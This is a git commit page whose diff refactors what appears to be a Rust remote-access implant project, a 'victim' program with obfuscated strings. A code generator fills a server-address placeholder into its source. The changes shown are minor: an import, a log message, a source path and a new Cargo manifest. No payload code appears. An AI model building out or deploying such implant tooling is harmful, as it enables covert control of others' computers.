made the rust_victim more organized and easier to install
This commit is contained in:
+1
-2
@@ -1,7 +1,6 @@
|
|||||||
use clap::Parser;
|
use clap::Parser;
|
||||||
use rand::RngExt;
|
use rand::RngExt;
|
||||||
use rand::distr::Alphanumeric;
|
use rand::distr::Alphanumeric;
|
||||||
use std::sync::mpsc::channel;
|
|
||||||
use std::sync::{Arc, Mutex};
|
use std::sync::{Arc, Mutex};
|
||||||
use std::thread::{sleep, spawn};
|
use std::thread::{sleep, spawn};
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
@@ -154,7 +153,7 @@ async fn main() {
|
|||||||
let handles = Arc::new(Mutex::new(Vec::new()));
|
let handles = Arc::new(Mutex::new(Vec::new()));
|
||||||
let handles_clone = handles.clone();
|
let handles_clone = handles.clone();
|
||||||
let primary_handle = spawn(move || {
|
let primary_handle = spawn(move || {
|
||||||
println!("entering tui...");
|
println!("entering startup function...");
|
||||||
let _ = startup(appstate, false, handles_clone);
|
let _ = startup(appstate, false, handles_clone);
|
||||||
});
|
});
|
||||||
if let Ok(mut lock) = handles.lock() {
|
if let Ok(mut lock) = handles.lock() {
|
||||||
|
|||||||
+1
-1
@@ -14,7 +14,7 @@ pub fn generate_code(
|
|||||||
) -> Result<(), Box<dyn Error>> {
|
) -> Result<(), Box<dyn Error>> {
|
||||||
let mut source_path = config_file.clone();
|
let mut source_path = config_file.clone();
|
||||||
source_path.pop();
|
source_path.pop();
|
||||||
source_path.push("victim/src/main.rs");
|
source_path.push("victim/rust_victim/src/main.rs");
|
||||||
let mut source = read_to_string(&source_path)?;
|
let mut source = read_to_string(&source_path)?;
|
||||||
source = source
|
source = source
|
||||||
.replace("|||SERVER|||", &address)
|
.replace("|||SERVER|||", &address)
|
||||||
|
|||||||
@@ -0,0 +1,10 @@
|
|||||||
|
[package]
|
||||||
|
name = "tetanus_victim"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2024"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
obfstr = "0.4.6"
|
||||||
|
rustls = "0.23.43"
|
||||||
|
rustls-pemfile = "2.2.0"
|
||||||
|
sysinfo = "0.39.6"
|
||||||
Reference in New Issue
Block a user